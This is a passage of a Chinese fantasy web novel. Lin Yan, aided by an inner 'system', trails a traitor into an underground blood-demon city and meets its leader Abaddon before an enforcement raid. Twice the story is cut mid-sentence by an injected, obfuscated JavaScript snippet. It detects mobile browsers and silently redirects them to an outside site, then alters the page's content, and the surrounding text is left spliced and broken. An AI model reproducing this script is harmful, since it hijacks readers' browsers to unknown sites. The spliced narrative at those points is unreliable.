巴拉特拉长了调子,声音温柔得像是在哄孩子。 “你怎么跑萨拉厄斯来了呀?” 派斯感觉自己又要腿软跪下了。 “而且——” 巴拉特把派斯从上至下打量了一圈,笑意浓浓。 “怎么就你一个人呀?” 先把派斯的不妙历险记放在一边,林砚现在可是好运连连。 王敬在深夜独身离开了据点,往长渡的方向前进。 姜钰第一时间汇报了他的行动,余绣纶先是确认了队员们的状态,确定无人状态不佳后,给执行院发送了血魔据点的地址与人数的消息。她留下一个队员原地埋伏,等待与执行院的增员汇合,其余人则跟着她继续执行任务。 王敬这回赶路赶得很急切。 他甚至没怎么刻意绕路。虽然还是避开了大道,但比起之前那种迂回曲折、时不时还要停下来回首确认的走法,现在完全可以说他真是坦坦荡荡。 跟踪的难度因此大幅降低。 低到连姜钰都觉得不适应。 低到让余绣纶开始怀疑。 姜钰开了个玩笑:“这么跑体力跟得上吗?队长,我们要不要赶过去跟他说让他跑慢点,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005588|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没打算现在做掉他呀?” 余绣纶没笑。 小队遥遥缀在后方跟着,余绣纶跟队员们讨论道:“感觉不对。他之前那么谨慎,现在怎么突然这么急切?他是不是发现了什么?” 边上的队员喘了口气,回道:“会不会是发现我们了?故意引我们进陷阱?” “有可能。”余绣纶眉头紧皱。 王敬的速度一直没降下来,甚至还在加快,姜钰差点都要跟不上队了。 “他到底在急什么?” 余绣纶喃喃自语。 林砚同样在思考这个问题。 然后,系统的声音在脑海里响起。 【他没发现你们。】 【他只是真的急了。】 林砚在心里问:急什么? 【传送来的血魔告诉他,派斯在他之前先跟城内的部队汇合了,还正面撞上了巴拉特。王敬没想到派斯居然能活着逃出白塔,更没想到他会直接跑去萨拉厄斯。王敬既怕派斯背刺,又怕派斯会多嘴坏他好事,现在恨不得长出八条腿赶路。】 说到这里,系统还给林砚解释了下派斯都遇到了些啥和巴拉特是谁,颇为人性化地吐槽了句:【王敬见了巴拉特都要夹着尾巴做人,正面撞他手里,派斯这小子怕是天生被霉神眷顾。】 未必。林砚在心里回应系统。 那小子未必是真的倒霉。也许命运给每个人身上都挂了一杆称,你失去的,都会在某个时候变成别的什么还给你。你得到的,亦会在某个时间被置换走。 母亲生病,他觉醒源血;生父不要他,但给了他白塔的入学资格;被王敬舍弃,他不仅活下来了还逃出了白塔。至于现在直接撞上血魔二把手—— 每一次“绝境”都恰好让他向前走了一步,倒霉的一直是他身边人。哪怕在穷困潦倒的儿时,他好像也从没真的吃过苦头。 【经分析,您的推论的确存在合理性。派斯的人生轨迹呈现出高频率的“危机-转机”的循环模式,且危机后果大多由关联者承担。】 系统说。 【但请注意,此类模式常伴随强烈的幸存者内疚与心理创伤。他并非“幸运”,依旧是被迫在极端环境下不断做出选择,而每次选择都可能将他推向未知的深渊。】 林砚笑了笑。 世界上绝大部分人谁又不是呢? 32. 林砚 这略带情绪的发言,让系统突然想起来,林砚其实也还只是个没完全长成大人的高中生。 哪怕是系统,偶尔也会忘掉这点。 它绑定的是那个在猝死的十七岁少年,不是漫画里虚构出的永远冷静永远游刃有余的林老师。 林砚是个早产儿。 别家小孩在外肆意撒欢、追跑打闹的年纪,他却因为疾病缠身,只能待在家里。先天性心脏病伴免疫系统紊乱,各式各样的毛病贯穿了他的整个人生。 哪怕只是小感冒,也会发展成肺炎,只是轻微磕碰就会有半个月都消不掉的淤青,随便跑两步就喘不上气,每逢季节交替都会发烧。 现实里的林家并不富裕。 他的父母为爱私奔,至今都没能完全和祖辈们修复关系。父亲的弟弟——他的叔叔,家里也生了个男孩。爷爷奶奶本就偏心更小的孩子,再加上历史因素,林砚从小到大只见过他们两回。 至于外公外婆,他们只存在于母亲的回忆里。 他出生的时,刚私奔出来的父母二人,浑身上下除了爱以外一穷二白,也没有属于自己的房子。租住在城市边缘的老旧小区,冬天水管还会冻住结冰。 他们不想孩子跟着一起受苦,咬牙贷款买了属于自己的房子。 他们没有闲钱拿去请保姆,只能让母亲留在家里,照顾小小的林砚。 父亲扛起了家庭的负担。 那是一段光是回忆听着疲惫的日子。 直到林砚三岁开了智,知道自己和别人不一样,能明白什么时候该吃药,什么时候该安静待着,感到不舒服了要告诉大人。 母亲才离家和父亲一同外出上班。 这不代表他们不关心林砚。 只是父亲辛苦了太久,母亲受不了了。看着丈夫每天累得倒在沙发上就能睡着,看着银行卡里永远上不去的存款,崩溃了。 她必须出去工作,哪怕赚得不多,至少能让丈夫喘口气。 怕林砚一个人在家无聊,也怕他独自在家玩手机看电视弄坏眼睛,父母给他买了很多书籍画册,让他打发时间。 他们自己其实也不懂书,只会看书面封皮的评语。哪本夸赞的人多,哪本夸赞的人更有名气,哪本被称为名著,就买哪本给他看。 很多书的内容,林砚根本看不懂。但有时看得多了,突然就懂了。 但又更怕他独自在家中悄然离世,只能多购置一台通话手机,逼着小林砚反复背诵父母的联系方式。又花费时间金钱跟邻居打好关系。城市邻里关系淡泊,不求费心照顾,只求能在听到林砚发出异常声音时,能帮忙告知父母或者直接拨打救援电话。 林砚大部分时间并不无聊。 比起打发时间,他更需要操心的,是怎么保证自己在没有监护人陪伴的情况下活下去。 保证自己的身体状态,保持自己的营养状态,管理自己的精神状态。 一天吃几顿药,每种药吃的数量是什么,哪种药吃完了得提醒父母买,体温超过多少度就该打他们电话。 保温盒里妈妈提前做了饭菜,饿了就自己热了吃,微波炉大火两分钟,刚热完会很烫,等放凉一点再拿出来吃。如果不够吃,自己用小锅烧点水煮面条,记得水里别放太多盐。 不要愤世嫉俗,少嫉妒别人,心情不好会更容易生病,生病了会更痛苦。 他从三岁开始自己照顾自己,从小就比同龄人更加成熟,也更能忍耐。 其他小孩讨厌的上学时光,对他和父母来说,反而更让人身心放松。至少学校里有老师,比他一个人关在家里安全。 哪怕有时候并不愉快。 孩童的恶意有时来得莫名其妙,可能是因为他与众不同,可能是因为他讨老师喜欢,也可能只是人与人的气场不合。 林砚至今都记得,那些同龄的小学生都说了些什么。 他们说: 你没上过幼儿园,你是大笨蛋! 怎么会有人天天生病啊,你一定就是我爸爸说过的残疾人吧? 为什么林砚就可以不用参加接力赛呀?我们都得跑,他怎么就不用,他不是我们班的吗? 老师说你身体不好,可我们都不这样,只有你这样,你是装的吧!你是不是故意想让班主任注意你? 撒谎精!林砚是撒谎精! 一开始,林砚还会为此难过得心绞,随之其后的是呼吸不畅,最终因为上气不接下气而晕倒。 但很快,他就意识到,为此难过没有意义。 同龄小孩不会对他感到怜悯或同情。 他们只会更得意——看,他又倒了,真没用。 人类的同理心,是后天的教育带来的。在没有被教会“尊重差异”和“善待弱者”之前,孩子们遵循着更原始的丛林法则:强壮即正确,不同即异类,异类即可欺。 聚在一起的孩子们就像狼群,你得保护好自己的软肋,不要被他们发现。如果被他们发现了你的薄弱处,他们会一拥而上,扑上来将你撕碎。 好在林砚觉醒得够快,趁着幼年孩童的体力差距还没有那么大,林砚头一回对与自己同类的同龄人动了手。 那个孩子抢走了他的急救药,当着他的面扔进了厕所,还说“那你死给我看呀”。那是心率失常时吃的药,而那天林砚刚好心脏不太舒服。 放学后的下午,当着对方所有跟班的面,突然地一脚踢在他的膝盖,将他踢到在地。林砚把人压在地上,拿着布袋铅笔盒,一下又一下,往他的头顶猛砸。他没有用铁质工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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活着原来可以这样轻松。 偶尔,他看着镜子里的脸,会想: 你为什么不能早些时候找上我呢? 但林砚把情绪藏得很好。 为了不让父母担忧,他早就习惯了忍耐痛苦,也为此学会了管理情绪。 哪怕对系统给的条件无比渴望,他也决不会表现出来。 命运给的每一份馈赠背后,都藏有代价。 系统给的条件太好了,好到不真实。那些代价——最坏的结果无非是任务失败,彻底死去,那和他原本的结局也没什么不同。对林砚来说等于没有。 他已经是个死人,没有能失去的东西。 林砚保持着怀疑。 系统,你看上我的,到底是什么? 我到底,还要付出什么呢? 33. 都是兄弟 王敬果真逃去了长渡。 最危险的地方就是最安全的地方,遭到沸血者们的全面清剿过后,残存的血魔不但没有逃亡别处,反倒一转思路,直接将据点修在了长渡地下,与长渡互为表里。 沸血者们统治地上,而地下属于血魔。 决定在这修建城市的血魔多少有些赌徒心理,或许还掺了点幽默——我们就在你们的脚底下哟,就在离你们最近的地方。 跟到这里,余绣纶小队一时间不敢轻举妄动。 王敬消失的地方,是个没有马匹的马棚。在工业技术普及前,这里是长途跋涉用的马匹驿站。现在都没人骑马了,也就弃置了。 长渡是沸血界最大的港口城市,常住人口超过两百万,是沸血议会控制西海岸的重要枢纽,哪怕这里不在城内,只是贴着城区,也是不允许随意交火的地方。 住在长渡城里的,既有平民也有沸血者。城内建筑密集,有着最复杂的地下排水系统。 虽然不知道血魔们是怎么瞒天过海,在执政官和居民们眼皮子底下建的地下城,但这也让她们现在无法通过简单的地理勘测或外貌观察,确认据点的具体规模,更没法确定内部究竟藏了多少血魔。 尽管已经请求增援,给执行院指挥部发了消息和定位,但坐着干等不是执行院小队的作风。 身为队里唯一的A级,余绣纶决定独身进去,打探情报。 这种事她做的很熟练:“我一个人进去摸情况,姜钰保持能力覆盖,标记我的位置。其他人分散警戒,注意隐蔽。如果我天亮前没出来,或者姜钰感觉到我体征不对,全员直接按应急方案撤离,不要试图营救我。” 哪怕不慎被发现,凭借多年战斗经验和能压制绝大部分人的血统等级,她也有独自脱身的自信。 林砚没有提出“为什么不让我这个A+级去”这种蠢问题。 她们肯定不会同意的。 在所有人眼里,林砚是非战斗型沸血者,也没有战斗经验。而且林砚作为塔主亲自护送来的宝贝疙瘩,要是表现出有亲身涉险的想法,只会让她们头痛为难。 但是没有关系。 他会自己偷偷去。 只是可能会有些对不起姜钰。姜钰和林砚在同一小组,要是她大晚上醒来,本该好好待在安全点的林砚失踪了,怕是要急得跳脚。 所以林砚决定,速战速决。最迟在里面待到天光破晓,在太阳升起之前,他一定赶回来。 余绣纶敢独自前往也跟她的能力有关,她的能力和影子密切相关,而且能力发动时几乎没有征兆。她藏在血魔的影子里,偷渡了进去。 与偷偷摸摸的余绣纶不同,林砚去得光明正大。 有一样东西,它涨起来容易,降下去难,一旦显现就几乎不可逆转,它是什么? 它就是血蚀。 可林砚是特殊的,只有他无需顾忌血蚀。他能主动引动血蚀,也能随时将其压制回去。 他肆无忌惮地使用能力,不再压制体内奔流的源血,主动将其点燃、催发、推向狂暴。血管骤然贲张,血蚀印记猖獗地爬满他整张脸。纹路扭曲交织,像血色的荆棘,又像线条粗犷的玫瑰,在月光下呈现出妖异的美。 林砚的气质也发生了变化。现在的林砚,充满了狂躁的攻击欲望,看什么都像是君王见臣,嚣张又肆意。高等血统带来的天生压制无差别地压迫着周遭的一切,凡是低于他血统的,都得对他表示臣服。 此刻,哪怕白珍站在他面前,也很难认出面前人是她认识的那个林砚。 神经末梢传递着过载的信号,许久未曾体验的疼痛再次蔓延全身,林砚居然有种遇见老朋友的亲切感。 【砚宝,持续这个状态会对身体造成负担,你会痛,会难受——】 系统有些担忧地念叨起他的身体,担忧林砚身体的疼痛与难受。 而林砚现在感觉…… 无比舒畅。 并非指的疼痛本身,疼痛依然是疼痛,并不会变成快感。只是躯体内充盈的力量感真是该死地棒,能量在四肢百骸奔流,身体的每一寸角落都尽在掌控中,这感觉令人着迷。 心脏砰砰乱跳,这心律紊乱的感觉反倒让他觉得熟悉。 林砚现在可以清晰地感知到方圆数百米内每一个活物体内的血液流动。大脑甚至出现了错觉,感觉自己此刻已经无所不能。像是哪怕他只是站在这 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这些血魔都是放在身旁的不定时炸弹。你无法安全拆除引信,无法分离引线和□□,唯一能做的,只有提早将他引爆。 暂时地,林砚也是炸弹们的一员了。 不再刻意压制那股微笑的冲动,林砚勾起唇角,像他遇到过的、像他此时身边的其他血魔一样,放松、肆意地走在街道上。 守在门口的血魔没见过他,但林砚脸上的血蚀印记造不得假,沸腾的源血在相互呼应。 他打量着林砚,目光落在他脸部的血蚀印记上。 血魔说:“新面孔呀,我从来没见过你,你是……” 林砚看起来充满了攻击性,看起来就来者不善。血魔本来想问他的来历,话说一半,却是直接笑出声来。血魔的笑声有些干涩,但没有恶意。 他让开身体,笑得时候还呲着大牙,牙齿很白。 “没事,兄弟,没关系。我这人好奇心重屁话也多,你别介意。不论你是什么情况,我们都是家人了。欢迎回家,兄弟!” 34. 厄科斯之夜 这座地下城显然新建不久。 林砚走在路上,这里原本可能只是条天然的地下裂缝,血魔们稍作平整就拿来用了。头顶是长渡地下排水系统的一部分,有些渗水点没处理好,水珠断断续续滴落,在地面积起大小不一的水洼。鞋底踩上去,还会发出哒哒的轻响。 值得庆幸的是,水里至少没混上泥土,血魔们至少还是修缮了通道。而且似乎有安排人定期清扫,地下城看起来并不脏乱。 地下城里没有自然照明,灯光也很少。可能是因为血魔们本身就不喜欢太亮的环境,也可能只是因为大部分沸血者都无惧黑暗,不需要那么多照明。 哪怕是E级的沸血者也会获得最低程度的视觉强化,黑暗里,林砚连十米外的天花板滴水都能看得清楚。 城里道路崎岖不平。 这里的血魔建筑水平很烂,有些屋子直接贴在了一起,墙与墙之间连缝隙都没留,像是小孩胡乱堆叠的积木。房屋的用处对他们来说大概也只是为了睡觉。 但现在距离午夜还早,此刻无人安眠。 林砚感受到了很多能量波动,活人的呼吸,还有沸腾不止的血液。 在这里生活的不仅仅只有血魔。 就比如左前方的屋子里,既有血魔也有普通人。 对林砚来说,这很好辨认,沸血者和普通人血液的温度和粘稠度是不同的——源血在血管里奔流时会不停释放热量,对沸血者们来说那些热量太过显眼。 反倒是血魔和沸血者很难通过血液辨别。那些由沸血者堕化而来的血魔,本就曾是沸血者的一员。 至于天生的血魔…… 沸血者的血统等级评级中,最高的等级是S,但这不代表S级就是源血浓度最高的血统。 实际上,源血浓度存在一个“安全阈值”。血液里的源血比例一旦超过被议会划定的界限,就意味着,觉醒者从出生起就处在血蚀边缘。他们的血液里流淌着过于强大的力量,也流淌着随时可能爆发的诅咒。 它随时都有可能,让身体的主人变成无理智的怪物。 有些父母会偷藏这些孩子。 可惜他们中大部分的结局都不好。 屋内隐约传来女人的歌声,林砚没听过她哼唱的歌曲,但总觉得她唱跑调了。 林砚没有停留。 他路过屋子时头也没回,暗自问系统。 在我身边的他们又是谁呢? 系统的回复很快,也很平静: 【一位母亲,和她的孩子。】 如果执行院的人来了,她们会怎么做? 【杀掉这里的所有人。如果那位母亲主动交出孩子,只要她说自己是被胁迫的或者装作无知,绝大部分执行人都会睁一只眼闭一只眼,放她离开。】 【砚宝,你不要觉得这很残忍。会出现在这里的普通人,等同于已经叛敌,最次也是在资助血魔。同样的事情如果换做是沸血者,迎接他们的只有无差别的死刑。而普通人,他们有选择的权利。】 林砚提起眉毛,有些诧异。 他回复系统:不,我没觉得残忍,人必须为自己的行为负责。我只是觉得他们斩草没有除根,日后必然会引发矛盾,属于普通人和沸血者的矛盾。 【你说的没错。】 林砚不打算追问具体矛盾的内容,这些暂时无需他来操心。 系统一直将林砚指引进地下城深处。 林砚不知道自己到底走了有多远,但通道越来越复杂,岔路越来越多,这里无疑还能继续深入。 这座地下城的规模比他想象的还要大。 这大小已经不仅仅只是个据点了,他们几乎是建了个简陋的城。 【砚宝。】 系统的声音忽然响起,带着明显的警告意味。 【停下。再往前走,会引起他们注意了。】 林砚脚步顿住。 【王敬就在前面。】系统继续汇报,【距离你大概五十米,左转,王敬在前面的城主屋里,屋里有两个生命体征,另一个是这里的血魔城主。】 闻言,林砚直接左转,往里走去。 【停下!你会被他们发现的!王敬认识你!血魔会发现你的!】 【你这样太冒险了!林砚!!】 系统急得直呼他的大名。 林砚恍若未闻,一直走到门前。 门内的动静在他靠近时就已经停止,宛如无人在内。 林砚在门前站定,面带笑意,他说: “如你所愿。” “我来看沸血者之外的世界来了。” 他顿了顿,语气里掺杂着戏谑:“不欢迎我进来吗?” 门开了。 陌生的血魔站在门后,凝视着他的面容,黑色的眼睛里没有任何情绪波动。而王敬在血魔身后,脸上的表情很是惊恐。 然后,王敬迅速低下头,掩饰自己的失态。 林砚没管他。 他看向那个血魔,脸上的笑容不变,在心里对系统说: 我还是想试试。 这句话没有前因后果,但系统知道林砚指的是什么。 原来他从未放弃。 面前的血魔看着林砚脸上的血蚀,笑了。他的笑容很自然,带着真诚的喜悦。 “欢迎你,兄弟。” 他侧过身,让出进门的位置,看着林砚走进去,然后,关上门。 比林砚来得更早的余绣纶,此时距离他不过两个岔道,她没有认出那是林砚,与他就此错过。 这间充作城主屋的屋子,也不过只比一间教室更大了些。 林砚被邀请在客座入座,血魔坐在主位上,王敬只能站在一旁,双手背在身后掩饰自己的局促。先前的惊恐神情被他成功掩饰下去,眼神不住地往林砚身上飘,以至于错过了血魔看他时颇有兴味的表情。 林砚不打算提醒他。 血魔率先开了话头。 “你是?” 王敬立刻接话:“这位是——” 那血魔打断了他,声音很轻,话却很重:“闭嘴,还没轮到你说话的时候。” 王敬瞬间噤声。 林砚笑面不改,问:“他不是你的同伴么?怎么突然对同伴这么凶。” 这话带着点挑拨的意味,但林砚说得很自然,像是真的只是好奇。 血魔嗤笑:“同伴?一个还没完全血蚀化的沸血者?他都不能和我们体验同一种苦难,怎么能真正成为我们的骨肉兄弟。” 可他看林砚的眼神确实是真诚的。 “兄弟,你不一样,你跟我们有着同一种感受和同一种痛苦,我们苦难相连,源血的诅咒链接着你我。” 他指向自己:“我是亚巴顿,厄科斯的管理者,用沸血者的话说,就是这里的执政官。别惊讶,我一眼就能认出你曾经是个沸血者,天生血魔,除开萨麦尔大人那一脉之外,很难像你我一样理智。” 亚巴顿的身体微微前倾,手肘撑在桌面上,双手交握。 亚巴顿和其他的血魔看起来不太一样,他黑发黑眼,穿着简单的深蓝色立领长衫,看起来很年轻,言行举止也像个修文学类课程的读书人。把他跟边上的王敬放在一个框里,像是老师带着他的得意门生。 林砚甚至对他还挺有好感的。 这个念头闪过时,心里警铃狂响。 林砚心分二用,维持着脸上的笑容,一边问系统,一边开口回答他。 系统,亚巴顿的能力是什么? “源血将我们相连吗?”他重复着亚巴顿的话,语气里带着点玩味。“我喜欢你的说法。” 然后林砚顿了顿,像是忽然想起什么:“我以为王敬在你面前提过我的名字。我是林砚。” 协议限制了系统的主观能动性,在林砚主动提出后,系统这才回答了他的问题。 系统在世界数据中翻找。 【正在调取世界数据……检索中……】 【咦?】 【亚巴顿是非战斗型能力者。他的能力“无争之理”,会在他的周围持续展开概念力场。该力场不直接操控思维,而是为环境施加一层无法抗拒的心理基调,对范围内目标的情绪与意图进行再调律。其能力可以放大目标心中潜在的正面印象或偏善意的情感,从而稀释目标意识中的攻击性与直接敌意。】 系统语速变快: 【从进门起他一直在对你使用能力!砚宝,你怎么发现的?】 直觉。 林砚回答系统。 我刚才真的出现了“和他做朋友也不错”这样的想法。他是血魔,我对他的第一好感不可能高到这个地步。 【你的直觉很准。亚巴顿的“无争之理”对心智坚定的目标效果会减弱,但并非无效。请保持警惕。】 林砚往后靠去,长腿向前舒展,后背贴在椅背上,双手交叠在腹部,自在得好像他才是这里的主人。 “你就是林砚呀!你是那个林家人!” 亚巴顿站了起来,动作太快,带倒了椅子,但他完全没在意。他绕过桌子,迈步走到林砚身前,膝盖一弯,蹲在了林砚身旁,手指搭在椅子的扶手上。 他仰起头看向林砚,像是信徒跪在神像前,又像是孩子蹲在长辈脚边,眼睛里闪着光。 “太好啦,原来你也是我们的家人!你天生源血的比例是多少?一定很高吧?我刚才试了好久,都没感觉出你具体的源血浓度来。你能控制血蚀程度,所以你才经常穿高领衣服!” 林砚垂眸看他,问系统这是什么情况。 系统回复:【你的身体是由数据创造的,能力和血统也是数据模拟的,包括你对其他沸血者产生的血统压制力也是如此。因此,其他沸血者无法因血统对你造成压制,他刚才应该是在用血统压制来试探你的血统浓度,他是个超S级的天生血魔。】 而亚巴顿已经自己给林砚想出来了一套合理的解释。 “我记得小王跟我说过,说你对那个赵家私生子用过能力,让他的血蚀从脸上消退到了脖颈,所以你平时也是这么对自己用的!” 亚巴顿试探性地用双手捧起林砚的左手,见林砚没有抗拒的动作,才把他的手贴在自己心口,似乎这样就能让他感到愉快。 哪怕隔着布料,林砚也能感觉到对方过快的心跳。 “好方便!好厉害!你好聪明!你一直在对自己用‘祸血凭依’,所以哪怕你早就因为源血浓度过高成了天生血魔,你也能控制住自己,甚至还不被任何人发现!” 亚巴顿喃喃自语,眼睛看着林砚,里面满是崇拜。 “你是天生的血魔,和萨麦尔大人一样,和我一样!天哪,林家居然出了天生血魔,哈哈哈!” 说到后面,他的话中难以控制地出现了些许恶意。 林砚在此时插话,打断了他: “你不该更加谨慎地防备我吗?” 他的声音很平静,听不出情绪。 “我可是林家的独子,下一任预定的林家家主。” “林家,噢,林家,他们做的唯一一件好事,就是瞒住了你的存在。我怎么会防备你呢?我血脉相连的家人。你是哥哥?还是弟弟?你应当是我的哥哥,我好久没有新的哥哥了!我要帮你除掉他们吗?他们会是你的负担,还可能会让暴露你的身份。” 他说这话时,语气轻松得像在讨论晚饭吃什么。 林砚看着他,没说话。亚巴顿却把这当成了默许。 这个天生的血魔似乎很是为自己的身份而骄傲,而且此刻甚至在为林砚担忧。 他捧着林砚的手,贴在自己脸颊上,声音低下来,带着点心疼: “你一直都跟他们生活在一起,隐瞒身份真的很辛苦吧,压抑心里的狂躁真的很痛苦吧,我理解的,我们都理解的,只有我们才能真的和你感同身受……” 他说着,半蹲着站起来,似乎想给林砚一个拥抱。 系统,他…… 【经心跳、微表情分析判断,亚巴顿此时是真情流露。】 系统读懂了林砚的未尽之语。 林砚左手抬起,按住亚巴顿的背,让他趴在自己膝盖上,右手垫着他的下巴,拇指按了按他的脸颊。 这手感只能说令人遗憾,小孩子还是多吃点饭,脸颊上有点肉才好。 一旁的王敬看起来恨不得从门缝里挤进去。 林砚笑了,说:“你在对我撒娇吗?我家里没有弟弟,这还是头一回被人喊哥哥。” “虽然你刚才建议我防备你,但我也一直都在对你用能力噢,所以我知道你不会伤害我的。” 亚巴顿半只脸都窝在林砚手里,但他看起来完全不担忧。 “你也在用,不是么?我们很难控制住这种欲望,但是我们是血魔,所以没关系,想用就用吧。而且你的能力真的好舒服,如果早知道‘祸血凭依’是这么舒服的能力,我一定会更早点找到你,带你回家。” 【砚宝,注意时间。】 系统突然在这时提醒道。 【再过段时间天就要亮了,余绣纶调查完毕,也在准备出城了。】 林砚颔首,系统知道这是对他的回复,但亚巴顿以为林砚是在赞同自己。 “我们错过了太多能在一起的时光了……” 亚巴顿话头一转,他并没有忘记王敬也在屋里。 “所以,小王啊,你下次要更仔细些,不要让我们的家人等待太久。” 王敬苦笑着点头 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林砚感觉不久前才听过这个名字。 “林砚哥哥你应该不认识,欸,不对,你可能认识巴拉特哥哥,议会开会的时候你说不定见过他。” 提到家人,亚巴顿语气里又带上了笑意。 “巴拉特是我们的二哥。不知道该怎么办的时候都可以找他,就比如我刚才说的解决林家的事。巴拉特哥哥很爱护弟弟妹妹们的,虽然我也很想帮你直接解决了,但是跟战斗相关的问题我就一窍不通了。但是巴拉特哥哥不一样,他什么都会。” 林砚顺着他的话问: “议会开会的时候?他不是议会成员吧?” “嗯,他的确不是,但他资助的人是。具体是谁我就不知道啦,巴拉特哥哥不会主动说这些,哥哥你想知道的话可以去问,说不定你们还能达成合作。” “还有噢……” 亚巴顿抬起头,望向林砚的眼睛很是清明,黑色的镜面倒映着林砚的面容。 “林砚哥哥是跟着小王来的吧?” 他问这话时的语气很是随意。 “既然没有藏起来不让我发现,是打算做什么事情吧。可以直接告诉我噢,我都会帮的。” 林砚现在是真的对亚巴顿有些好奇了。 亚巴顿虽然看似无比轻易地就对林砚表达了信任,甚至把自己最脆弱的脖颈都放在林砚的掌心。但实际上,他什么重要的事情都没说,而且相当地敏锐。 “王敬有跟你说过吗?关于我的想法。” 亚巴顿摇头。 林砚笑着抬起头,眼神放空,像是陷入了回忆,开始编起故事。 “你不觉得很奇怪吗?沸血者与血魔明明都是源血觉醒的人类,却因为源血浓度问题被强制划分开群体,明明在这之外,大家都只是拥有源血的人类罢了。” 王敬给过他一个由头,正好可以借这个理由开编。 “我出生的时候,家里人曾经非常失望,因为我生来就带着血蚀,要不是母亲以命相搏,我刚出生,就要被死亡领回。好在我生来不凡,我和所有人都不同,也比他们都要强大,母亲说我的源血是在我出生后十分钟内觉醒的,然后血蚀在此刻瞬间消退。” “从此,谁也不敢再提出除掉我的建议。” “可明明所有的觉醒者,都迟早要面对血蚀的问题。我们不过只是先他们一段时日,提早为此承受苦难,凭什么我们生来就要承受他们的歧视?源血浓度并非由我们控制,为什么就因为我们天生比他们强大,我们就必须接受死亡?” “我们不过都只是母亲的孩子,父亲的子女,在出生之前,我们都是名为人类的生物。” …… 林砚平静地说,亚巴顿安静地听,连一旁的王敬也听得很是认真。 “我不认为人类之间存在着贵贱之分,因此,这个世界需要变革。” “而我正巧掌握着能带来变革的力量,所以,我将为这个世界带来变革。” 亚巴顿的眼神变了,但他再度闭眼,很快掩饰掉自身情绪的变换。 他说:“萨麦尔大人也是这么说的,所以我们才是家人啊。” “这真的很难,”林砚说,“当我真的尝试后,我发现,改变现状真的太难了。” 亚巴顿表示赞同:“所以我们到现在都还在尝试变革,无论牺牲多少兄弟姐妹的生命,我们都不会放弃,哪怕我们自己没法看到那一天的到来。” …… 林砚短暂沉默片许。 “啊。” 亚巴顿睁眼。 他意识到了,眼睛瞬间看向王敬,王敬的身体明显抖了一下,同样也意识到了。 “王敬被发现了,追他的人已经到了这里,是么?” 不需要肯定,亚巴顿直接推断道。 “你跟着他们一起来了,你需要维持他们对你的信任,但是你又不忍心真的看到我们一无所知地被他们屠杀,所以你还是来找我们了。” 他看向林砚,眼神变得柔软: “林砚哥哥,你好温柔啊。” 亚巴顿站起身,走到王敬身旁。王敬长长地叹了口气,垂下头,头一回露出毫不掩饰的疲惫神色。 “你需要王敬死在这里,这会对你起到帮助。” 他站在王敬与门之间的方向。 “我知道啦,林砚哥哥,兄弟姐妹们的牺牲如果能帮到你,那便是有意义的。在你的计划里死掉,总比在外面猝不及防地被路过的沸血者杀死要好得多,厄科斯的家人们都会当作不知道的,我也会。” 林砚已经没有别的话要说了,他的时间其实很紧,他现在真的该离开了。 林砚站起身,基于亚巴顿对他态度如此友善,觉得自己走之前至少该说些真正善意的话。 而亚巴顿摇了摇头。 “没关系的,林砚哥哥忙自己的事情去吧,不要觉得抱歉。巴拉特哥哥那边他会自己重新安排人手的,不用你担忧。” 他对林砚眨了眨眼,笑得有些狡猾,像只小狐狸。 “虽然我会装作毫不知情,但我也不是笨蛋,我还是会尽可能地想办法逃跑噢。” “当然,其他家人们也会如此。” 见此,林砚也只需要同他做最后的道别。 就像亚巴顿先前说的。 我们的生命是如此短暂,在一起的每一秒都万分宝贵,每一次见面都可能是诀别。 “希望这次见面不会是你我的永别。” 林砚在今夜编造了数不清的谎言,唯独这句话发自真心。 他现在是真的有些喜欢亚巴顿了。 35. 死亡一视同仁 天亮了。 林砚出来得有些晚了。晨光从长渡城边缘的裂缝渗进来,有些刺眼。 姜钰醒得早,半小时前就起来了,然后她发现了林砚的消失。 但这个时间不算太久。 早起透气、找地方洗漱、或者只是走远了些解决生理需求……多得是能解释的理由。但姜钰的手指还是无意识捏紧了通讯器边缘。塔主亲自交代过要看顾好这位林老师,她不敢大意。 姜钰没急着上报,先自己在外围找了一圈。“脉动视界”展开又收起,脸上是压不住的焦虑。 直到她看到了林砚。 林砚赶在余绣纶回到小队驻扎营地之前,在营地边缘和她汇合。余绣纶的身影从阴影里浮出时毫无征兆,像从水里升起的幽灵。她看到林砚,脚步顿了一下,眼神在他脸上扫过,然后点点头,什么都没问。 两人并肩往营地走,晨雾尚未散尽,远处长渡城的轮廓变得朦胧。 看到林砚是和队长一起回来的,本来急得冒烟的姜钰顿时松了口气。她小跑过来,嘴唇动了动,似乎想问什么,但余绣纶先开了口:“准备联络指挥部。” 这话转移了她的注意力。姜钰立刻点头,再后也并未提及林砚早上不在的事。 林砚自然也不会主动解释这些误会。 执行院的增援人员来得很快。 太阳升到半空时,执行院调来的九支小队成功与余绣纶小队会合。 总计十支队伍,由执行院指派总负责人进行再分配,按源血能力分为七支精锐战斗小队,三支新人辅助队。 以余绣纶探测到的血魔人数来说,这完全是饱和式增援。 执行院不打算谈判,不打算留俘虏,也不打算放过任何一个活口。 他们包围了地下城出入口,每个口子由两支小队把守,其余人从主通道进入,逐层清理。行动预计在晚上进行。 这里距离长渡太近,无论沸血者还是血魔,都不喜欢把战斗蔓延到普通人面前。不让普通人参与超凡战争,是所有觉醒者的共识。 行动名单里没有林砚。 负责人分配任务时甚至没看他一眼。这很正常,林砚的编制隶属白塔医务处,哪怕名义上他也只是应急医疗支援。在没有伤员需要他处理的现在,他成了闲人。 等待的时间让林砚有些难熬。 好在,他还可以查看系统消息。 系统界面在他视野边缘展开,半透明的地图覆盖了现实景象。地下城的结构以简略的线条呈现,密密麻麻的红点代表着一条条生命。 战况并不激烈。 